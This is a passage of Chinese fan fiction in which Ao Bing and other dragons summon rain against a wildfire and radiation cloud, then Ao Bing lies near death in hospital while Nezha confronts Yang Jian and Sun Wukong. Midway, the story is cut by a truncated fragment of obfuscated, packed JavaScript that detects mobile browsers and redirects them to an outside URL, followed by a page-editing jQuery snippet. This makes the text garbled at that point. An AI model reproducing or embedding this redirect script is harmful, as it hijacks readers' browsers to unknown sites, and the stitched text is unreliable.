“涯叔……这,真的万万不行啊,出事了可怎么办,你家还有小龙呢……”动之以情,敖丙想到了这大前辈前些年才得了个小孙女。 “叽叽喳喳的,你父亲怎么教育你的,王者就要杀伐果断,你怎么能如此优柔寡断。”那比敖丙大许多圈的黑龙懒得再费口舌,把敖丙卷着的那坨云抢了过来,往火区飞去。 上飞机的都是上了年纪的飞行员,带头那个说,小年轻,没播撒碘化银的经验,只有老家伙上才能保证雨的精准降水。 那些小年轻们哑了火,这理由可太有杀伤力了,丝毫没有反驳余地。 “立正!” “敬礼——!” 年轻的飞行员站在地上,敬着礼,目送着一架驾飞机驶向跑道,目送着前辈们往远处飞去。 那洁白的飞机不一会就融入蓝天之中,再也看不见了。 龙王来了,后面跟着清源妙道真君和齐天大圣,后面那俩一股要兴师问罪的样子。 “涯叔、秋姐、霞姐……你们这是……何必呢……”没想到,龙王开口的第一句,问的倒是自己的子民,而非唯一的亲生子嗣。 “大王,我们也一样想为人间尽一份力啊。” 龙王还没讲下一句呢,另一条龙就开口了:“家人那边……您就说是咱们自愿的,不关三公子的事儿。” 龙王又看向自己的儿子,一句话也不说,只是肃然看着青龙。 “孩儿不孝……万望父王,遂了孩儿这个愿。日后龙族,还得靠父亲……” 龙王叹着气,他最了解自己的孩子了,说什么也劝不动这娃 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“妈妈快看!天上有飞碟!”疏散的人群中,小孩子是灵气最大的,他们生来就爱东瞧瞧西瞅瞅,纵然龙身自有隐藏的法术,在那些心无脏污、灵气充沛的生灵眼里倒是很容易显形的,更何况那几条龙现在忙得很,来不及掩饰身形。 “那是龙吗?”一些人循声望去。 “龙,是龙!” “快看天上!龙是真的!”众人纷纷抬头,只见那白云里,青白红黑四色的条状物飞速穿梭着,身子埋在云里,云也离奇的飞速移动着。 “阿弥陀佛!老天保佑!保佑一下老百姓!” 一些百姓看到了神迹,直直跪在地上朝南飞的不明生物磕头。 一些扮作凡人的神仙向天上眺望着,看着四海的龙在天上发了狂一样的飞,为首那条他们都认得,正是华盖星君,东海三太子,敖丙。 云层被堆积起来了,向大地投下一片片阴影,神仙们纷纷抬头行着注目礼,致以最崇高的敬意。虽不知其他三条龙姓甚名谁,但若没有他们四龙的帮助,这城市会有更多的人被天灾害死。 而后又各自忙起来了,开车的开车,维持秩序的维持秩序,将一箱箱抗辐射口罩分发……天底下只有龙族能司掌风雨,他们就算有心也无力,只能尽着自己最大的能力庇护自己的黎民百姓。 “卧槽,刚刚什么东西飞过去了?”飞行员喊着,刚刚他余光里好像看见什么东西差点跟自己撞机,但是雷达什么都没显示。 “我这里也是!红色的东西!跟个塑料袋似的!唰一下没了!” 南海来的红龙想:“能不能尊称一下呢?好歹别把她比喻成塑料袋吧!” 白云化作乌云,乌压压的将城市南边笼罩。几条龙看时机已到,各回各家了,只剩下最小的那条青龙仍盘踞在云层之上,等着尘埃落定。 空气愈发黏着,似要凝成实体,忽而暴雨落下,将辐射云冲了个七零八落。雷电噼里啪啦地响,敖丙高在云层之上,看着那连片的辐射云拜倒在雨云之下,北风不断吹来,那是方才他们几条龙游动时带来的风。 哪吒在暴雨下和同事们举着水枪,跟着探测图的指示把不再成气候的山火灭掉。什么咸腥的东西流到嘴里,他没在意,伸手一抹擦到衣服上,才知道原来是自己流鼻血了。 敖丙心里的大石终于落地了,那硬撑了数个小时的一口气终于舒出去了。龙身便一下子脱了力,像断了线的风筝一样,向烧干净了的无人山区坠去。 青龙狠狠砸在被烧秃了的山洼处,扬起一阵焦黑尘土。龙身猛地抽搐起来,就像是被崩断了皮筋般。 “不能……现出龙身……”敖丙强忍着四肢百骸的剧痛,耗尽最后的神力把自己变回人身,却是再也没气力幻化出衣服把自己裹着了,若隐若现的龙鳞虚虚遮着身子。 手机被留在大楼里了……现在想找人帮忙也没办法,不过手机在身边也没有用,因为他太累了,连手指都动弹不了。 “咳咳——!”胸口忽得一阵闷痛,敖丙侧躺在地上,呛咳出许多血沫子,融在焦黑的土地上,看不出来咳血量。嘴里全是铁锈味,难受极了,全身骨头酸痛无比,体力也耗光了。 从来没有这么困过,眼皮像灌了铅,一点点沉下来了。 “会有人找到我吗……” “乾坤圈……还在手上……哪吒看见我这个样子,会怎么样……”小龙希望小莲藕不要生他气,虽然这次他真的背弃了诺言,小莲藕生气也是应该的。 他努力抬眼看着那爱人的法宝,只是最后连抬眼这么简单的动作都完不成了,眸子垂了下来,呆呆望着焦黑的土地。 视野慢慢黑掉了,识海像是坠入深海,沉到底去,最后什么也看不见、听不着了。 “让小莲藕给我收尸,敖丙啊敖丙,你怎么能做得这么绝的……”小龙最后想,那时就不该贪得无厌,把乾坤圈戴上,让小莲藕的气息最后再陪自己几个小时,到最后倒是要把小莲藕千刀万剐了。 眼皮阖上,一滴清泪在眼窝里被盛了一会儿,而后攀过鼻梁,滑过毫无血色的脸庞,滴到了早已干涸的故土上。 偌大的焦黑山洼里,睡着一个小小的人。他蜷缩着,似是睡得很香,腹部轻轻呼吸着。左手上戴着个金手环,摊在脑袋旁边,及腰的水青色长发散开来了,在黑土上扎眼得很,衬得苍白的脸色愈发吓人。 44.晓风干,泪痕残。怕人寻问,咽泪装欢。瞒、瞒、瞒! 半空中。 “你确定是看着敖丙往这边坠落的?”杨戬和孙悟空化回神身,在一大片烧得精光的山区里寻着一条龙。 “俺老孙的火眼金睛什么时候出过错!”结果二人寻寻觅觅,连二郎神都开了神识去扫,却都没找到那小青龙。 啸天忽然叫了起来,往一个山头跑去,两位神仙赶忙跟上。 “好狗!好狗!”杨戬撸着狗头,远远就看见个渺小的人影躺在山洼处,纵使杨戬心如刀割,但总归是不能忘了奖励啸天的。 那小人静静躺着,一束光破云而出,淌到他的身上,把人都镀了层柔光。在焦黑的枯山里,倒像个陨落的神明。 杨戬知道自己神识为什么扫不出敖丙了,他现在的生命体征低得可怕,又隔着几十公里,太过微弱了。 “敖丙!!”二人大喝一声,几位一着地,就立马奔去找他。 杨戬把敖丙抱起,那人却像个丢了了骨骼绑定系统的人偶,布娃娃般地随着杨戬动作而无力晃荡着,头因为重力原因无力后仰着,嘴微张,脆弱的喉结露着,刺人眼目。 孙大圣看着敖丙全身赤/裸,便赶紧脱了挂在腰间的外套把人给盖上,虽然完全没有人会看见。 啸天疯狂拿头拱着敖丙的手,想让这个昔日的好主人再摸摸它。 手只在狗头上停了一瞬,就一下子无力地滑落到地上,啸天难受得发出呜呜声,连尾巴都耷拉下来了。它拿犬牙轻轻叼着敖丙的手腕,可那骨节分明的手掌却不会再像曾经那样,只要啸天一拱过去,敖丙就会停下手里的事务去摸它。 “敖丙!醒醒!醒醒!”杨戬晃着怀里的躯体,好冷。往日敖丙听了人叫他名字,不论对方是个小仙抑或是下属,总会应一声的,可现下却紧闭着眼,任两人如何呼唤,连手指都不动一下。 清源妙道真君拿双指颤着比去探寻气息,还好,只是呼吸很浅,又很慢,但至少还活着。 “带手机没,立刻打电话给哪吒!”杨戬一手穿过敖丙膝盖下方,一手环过敖丙背部,把人打横抱起,又颠了一下,让敖丙把头靠在自己肩上,不让呼吸得难受了。 乖巧得就像个睡美人似的。 “我们现在立刻去找太乙!” “哪吒不接电话!”孙大圣给哪吒一连打了二十多个电话,感谢现代基建,高空之上竟然也有信号。 祥云载着3人1狗火速飞向永安,杨戬紧皱着眉头打量怀里那酣睡的人儿,才发现他左手手腕上还戴着个金饰,细细一看,才发现那是哪吒的乾坤圈。 “那先打电话给龙王。” 龙王秒接。 “你们在哪?” “我们现在在赶去太乙的医院的路上。” “好……我去医院找你们……”龙王语气疲惫得很,大抵是已经知道了什么。 龙王和太乙就在医院门口等着呢,连病床、心电监护都一齐备好了。许是龙王提前说明了什么。 敖丙被放到担架床上,还帮忙把水青的长发拨到两边,怕压疼了他。几人一齐小跑着,把病床推得极快,在人头涌涌的医院里推出摩西分海的架势。引得一众凡人纷纷侧目好奇的探来。 一众医护就看着这位德高望重的院长一下跨跪到床上,熟练地将设备贴到敖丙的胸腔上。 车轮飞速转着,众人的目光都落在昏迷的神仙身上,可那人却睡得深沉,两耳不闻窗外事。 “滴——滴——”心电监护仪显示着敖丙的生命体征,血压50/80,心跳40,血氧85。 龙王看着儿子无力随着病床摇晃而晃动的身子,那唇色白得如同透明,心像被万千针扎了一样。孙大圣一边推着床,余光又看见什么晶莹剔透的东西掉下来了,循着光望去,才发现那活了近万年的老龙王,竟然也有落泪的一天。 一路畅通无阻,电梯早就候着了。乌泱泱一群人直升到顶楼特护病房。这是太乙真人专门设立的特殊科室,只接待神非人的病患。 “黄主任、张主任、鲍主任留下,其他先去忙自己的事儿。” 几位主管医疗的神仙留下,有条不紊的开始对病患进行检查。 “哪吒人呢?” “不接电话……”孙大圣面露难色,手机一直在打给哪吒呢。 太乙真人一时语塞:“继续打!打不通就找他消防局电话!让他赶紧过来。” 龙王垂着头站在病床旁,从医护人员忙碌身影的夹缝里争分夺秒的看着昏睡中的孩儿,只恨自己是个武将,什么忙都帮不上。 “瞳孔对光反应微弱!”手电打到水青色的眼瞳上,杨戬看了那光都觉得眼睛疼。 “氧流8,浓度标尺55。”呼吸面罩扣上,老龙王看不见孩子那透白的唇了。长长的睫毛在惨白的LED灯下,于苍白的脸颊下投下阴影,倒显得人安详极了。 敖丙那青色的血管分明可见,灰色的留置针扎入手背,那针头粗到能隔着白皙的皮肤而隐约可见。分明敖丙是怕疼的,往日体检抽血都要求要紫色的针,还往往撒娇,要哪吒在身后抱住自己。如今被扎却也不挣扎一下,稀薄的白雾在呼吸面罩上若隐若现。 “去药室把棠参液拿来输液。”太乙真人看着报告,自然知道这拿凡人的寻常药物治疗自是没有用的。 微黄的液体一点点灌注到血液里,流得极慢。太阳渐渐西垂了,几人守在病床前,老龙王一直牵着敖丙的手,想把那冷得跟冰一样的手掌暖和回来。 杨戬又打了几个电话给哪吒,不接,也不知道那该死的空心藕在干什么。软件蹦出来了消息,他顺手就点进去。 “江州山火已全灭扑灭,百万人口撤离完成” “无消防员、飞行员牺牲” “向负重前行的人们致敬” “天降大雨,辐射云全部完成沉降” “大量市民目睹天上不明飞行物” “古人诚不欺我” “十二生肖都是真的” “江州灾情报告” “[直播]江州市长主持发布会” 微博热搜榜已经完全地被这件事霸占了。 尘埃真的落定了,在各方的努力下,把伤亡降到了最低。杨戬长舒一口气看向在病床上沉睡的人,或许能称为解决这场天灾的最大功臣——尽管他知道,敖丙绝对会拒绝担起这顶“高帽子”。 “如果敖丙能看见这些新闻,应该会很开心吧……”杨戬想。 可惜小龙不会回应了,他正昏迷着呢。不过至少现在生命体征比方才好上许多,血压60/90,心率50,血氧90,比方才好上太多。 敖丙眉头全然舒展开,任着老龙王拿湿巾将他头发上的尘埃一点点擦干净,那被岁月蚀上皱纹的手背轻轻摸着尚且年幼的孩子的面庞。 老龙王眼疾手快,把手臂一移,接住自己那差点滴到儿子脸上的泪滴。 病房里死一样的寂静,老龙王偷偷哭着,又偷偷去厕所洗脸,另外两个神仙心知肚明,却也都心有灵犀的不戳破。后来龙王接了几个电话。 “我去处理一下族中之事,麻烦二位照看一下我儿了。”龙王深呼吸着,做足心理准备才打开门。 不一会儿就是隔壁病房的开门声——另外的几条龙也被送来了,同样是遭到了天道反噬,但情况比敖丙好,至少都还清醒着。 窗外天渐暗了下来。两个人不时看一下手机,不时又看一下敖丙,其实手机根本看不进去,心思全在小龙那儿。 “唔……”病人突然挣扎了起来,二人噌一下就站起来了。 “咳,咳……”敖丙皱着眉头,嘴边呛咳出血来,身躯在病床上无力抽搐着。 杨戬眼疾手快立刻狂按床头呼叫铃,孙大圣则帮忙把人侧身过来,把呼吸面罩给掰开,又轻轻拍着敖丙的背,好让他把血都吐出来,不要堵着呼吸道了。 胃抽着痛,像被刀一下下捅着一样,气道不听指挥,一味地往外呛血。 敖丙终于在极度的痛苦中恢复了清醒了。双瞳最开始看什么都是虚的,好一会才对上焦。 “敖丙,感觉还好吗?”杨戬把人上半身托着,护士正在帮忙换着枕头,方才那血咳得惊天动地,把半个枕头都染红了。 敖丙无力地靠在不知谁的胸膛上,耳朵像塞了耳塞一样,啥都听不清,茫然地看着前方,像丢了魂一样。 直到杨戬重复问了一次,慢吞吞地一个字一个字问他,他才勉强听清了。 “嗯……”敖丙累得说不出话,睡意像海啸一样袭来。他差点又要睡过去,结果一阵天旋地转把自己晃清醒了——他又被杨戬放回床上了,床还被孙悟空摇起,倒是让他呼吸舒服些了。 他环顾四周,却没发现哪吒的身影,嘴巴正勉力开合着想问,杨戬便心有灵犀的答。 “哪吒他应该还在火场忙……还没接咱们电话……”二郎神屈着腿 ,把身形放矮,好让连抬眼都费力的敖丙不用费力气也能看见自己。 新的输氧器械变成鼻导管式——现在血氧恢复到90了,鼻导管也可以满足输氧需求,而且若是敖丙在吐血,鼻导管会方便些。 “儿啊!”龙王飞速推门而入,几步就走到敖丙前面,满脸心疼看着面无血色的孩子,手指颤着想去触碰,却又不敢。 “爸……”敖丙的声音小得快听不见了,却还是尽力说着,一边尽力把自己的头放到父亲宽厚的手掌上,二人似乎已经很久没这么亲密过了。 他还记得自己很小很小的时候,就喜欢被父亲端在手心,那时什么也听不懂,就攀在父亲手掌里在龙宫走来走去,小小的龙东张西望着好奇打量这世界,那活了几千年的年轻龙王满眼溺爱地看自己的孩儿。 不过父亲常常征战在外,大多数时候小龙还是被安置在蚝床里被教导着长大了。 “其他龙……” “他们情况都还好、还好,都醒着呢,你不要担心他们……”龙王又怎么会不知道傻儿子在想什么,无非是自己有没有连累了其他人。 “他们的家人都理解的,没人怪你,你不要再说话了……”龙王看儿子还要开口,先一步把所有可能性堵死了。长着老茧的手掌一下下抚摸着爱子的头发,勉力不让泪水掉下来。 “爸……别哭……”敖丙说一句话都得大喘气着。 龙王连连点头,泪水却直接开了闸,水龙头一样泄出来。 明月也渐渐露了头,这房间位置好,大大的窗,能让人晒得到月光,看得见太阳,窗外还能听见恼人的蝉叫和夜鹰的叫声,倒给这病房加了几分生气。 小龙目光又渐渐变得呆滞了。唇无力张开着,眼睛不时阖上,又猛地睁开来,努力抵抗着睡意。 眼神渐渐落在手腕上的乾坤圈上。什么时候,它的主人会来找自己呢?他不知道自己还有多少时间了。 眼看那水青色的星眸又要黯淡下去,孙大圣突然蹦起来,蹿到敖丙面前,倒是把人吓清醒了。 敖丙:?这猴子又要耍什么把戏 那泼猴火眼金睛望着敖丙,手抓挠着,勉强把自己的语气变得生动起来。 “老孙在49年前,说要你们几个去我山上吃桃子,可还记得?” 敖丙垂垂眼帘,轻轻点了点头,示意,记着呢。 他记得很多很多早已做下的约定。 “明年夏天,那极品水蜜桃可就要熟了,敖丙!你到时候可一定要来吃啊!”大圣叉着腰,拿食指比划了一下,硬是挤出个笑容来。 敖丙不回话。 孙悟空慌了,装腔作势地摆起谱来:“怎么?不给我齐天大圣个脸面?” “丙兄,你就来吃嘛,那水蜜桃可好吃!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796808|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可敖丙现在真的不敢再应下任何承诺了,他不想做个言而无信的人,更不想辜负了别人的期待。 敖丙又怎会不知这是拐弯抹角让他有点念想活下去呢,还特意做了个赏桃的局。 最后在孙大圣那快要迸发出金光的眼神攻击下,敖丙勾了勾嘴唇,示意一下态度。 敖丙想的:我就笑笑,没答应。 齐天大圣:他笑了,那就是应下了。 “辐射云都沉降了,市民全部撤离完成,山火也扑灭了。”杨戬揣着手,把自己查证过的新闻一五一十地转述给东海三太子。 小龙笑了,唇色依然惨白,但眉眼都弯成了月牙,眸子里盛着清泪,温柔又不舍地望向窗外那轮弯月。 是弯月啊,人类诗词里说,人有悲欢离合,月有阴晴圆缺,月圆了就是要团聚了,如今那月却细如柳叶眉,想必……是到了说再见的时候了。 窗外响着蝉鸣,房内有中央空调的呜呜声,倒是上好的催眠曲。敖丙又沉沉睡去了。 后来敖丙又醒了,被吵醒的。 “操,你们早就知道是不是!”哪吒在走廊吼着,一手抓过杨戬的衣领把人用力摔到墙上,把墙撞得发出闷响来抗议,疼得杨戬都颦了颦眉。但显圣真君垂着头,不敢还嘴,更不敢直视哪吒的眼睛。 “你们明明知道他会被天道反噬!就任着他使性子!”哪吒气得上了头一拳头打过去,得亏杨戬也是打过架的,顺着力歪头往右倒去,卸了不少力,否则多少被这杀神给打碎几颗牙,再给太乙送上好几万的种牙费。 哪吒气得浑身都在颤抖,方才好不容易处理完火场的事儿,脸上还挂着鼻血印子,一掏出手机就是杨戬和孙悟空的上百个未接来电。 匆匆忙忙打回去,顿时就慌了神,什么都来不及解释把一堆队友撂火场,自己火速遁走,把风火轮在天上刮成火流星,等着他的却是躺在病床上怎么都叫不醒的小龙。 那两人怎么可能会不知道。 小龙是他们送医的。 电话是他们打的。 自己分明也能在火场内感应到九天之上的青龙,他们俩也一样行。 靠,为什么自己从来不读天庭的律法,但凡他知道强行呼风唤雨会如此,那个时候他一定直接窜天把那青龙打回地上。 龙王站在一旁,也不敢劝,敖丙现在的情况他也有罪。哪吒自然也不敢拿老龙王,或者说拿老丈人撒气。 “死猴子!你也是!”眼看着那三眼正坐在地上,等他继续打了解气,结果杀神又找上那个躲在拐角的孙大圣了,把猴子衣服扯得差点裂开,又恶狠狠地把泼猴贯在墙上。 一群神界的主任听到有人闹事儿,忙不迭跑过来。 我靠,杀神哪吒和朋友打起来了,方才摔过杨戬那面墙灰都裂开了——他们庆幸幸好没放医疗器械在走廊。 不过这群医护人员来了也不敢劝,远远地躲在走廊另一头看热闹——他们可打不过这几个天庭的将军,可别上去触了霉头。 “为什么你也不阻止敖丙!就任着他找死!!”红棕色的眸子恍若血月般,凶性毕露无疑,像要把那猴子活活烤了吃掉一样。 指甲嵌到肉里,把掌心掐出血来。哪吒咬着牙强迫着自己深呼吸,骨节都被他气得咯咯作响。 病房内,敖丙被外面的嚷嚷声给弄醒了,好一会才回过神听出来人——是哪吒。 他还想开口叫唤,结果说出来的全是气音,病房空无一人,任他怎么叫唤都没人听见。 孙悟空都做好被打爆的准备了,结果哪吒竟然只是把他猛地一甩,甩飞到杨戬身旁,孙悟空感觉自己屁股都要摔得开了花。 显圣真君、齐天大圣面面相觑:?意料之中的暴打呢? 哪吒站在二人中间,嘴唇都被咬破了,热血滴到地上,他恶狠狠地盯着两个朋友,气得说不出话来,直直哽咽着抽气。 “如果……敖丙真的出了事……”豆大的泪啪塔啪塔地滴到地上,喉咙生涩得很,连音都发不准了,眼白通红,不像个杀神,倒像个地府怨灵。 “我这辈子……这辈子……都不会原谅你们!”他再也撑不住脊梁了,颓然跪到地上,拿手抹着泪,却越抹越多,在惨白的LED灯下看起来就像K国水光肌妆容。 中坛元帅任由自己哭泣,仪态尽失。 那能撑着他活过千万年漫长岁月的爱人,如今生死未卜。 神仙的岁月太漫长了,所以他们要给自己找锚点,有的神把神职揽得背不动,来麻木对时间的感知;有神会在世间找一个个人建立情感链接,但终是不能找肉体凡胎的,他们不过百余岁月,一旦走了就再难寻了。这也是天界5天人间一年的原因所在,时间,太可怕了。 哪吒此生唯一的锚点便是小龙,他不知自己若是失去了敖丙,会变成怎样一个用神职工作麻痹自己的行尸走肉。 “嚓——!”病房里传来瓷器碎裂的声音,众人一下子都循声望去,哪吒一下子连哭都忘了。 敖丙几次出声喊人未果,那床头铃又贼高,没办法了,只能一点点拿手挪着身体,动一下就得喘一会,而后把床头放着的瓷杯,一点点往边缘推去。 好不容易把那杯子打碎了,自己就累到脱了力,直直卧倒在床沿上,长发顺着重力跌到地上,像个微型瀑布。敖丙伏在枕头上急促呼吸着,那鼻导管的氧气忽然间就不够用了。 哪吒几乎是听到碎裂声的一刹,就连滚带爬地冲进身后病房,好似个刚学会走就要跑的小孩子,还不忘赶忙擦走脸上干涸的鼻血印子和泪水。 他知道小龙看见他这样会心疼,现在他只要小龙快快乐乐的。 方才师傅已经跟他说了,可能,怕是时日无多了…… 火速收拾好心情,挤出个和蔼可亲的笑脸,哪吒一下子就把门推开。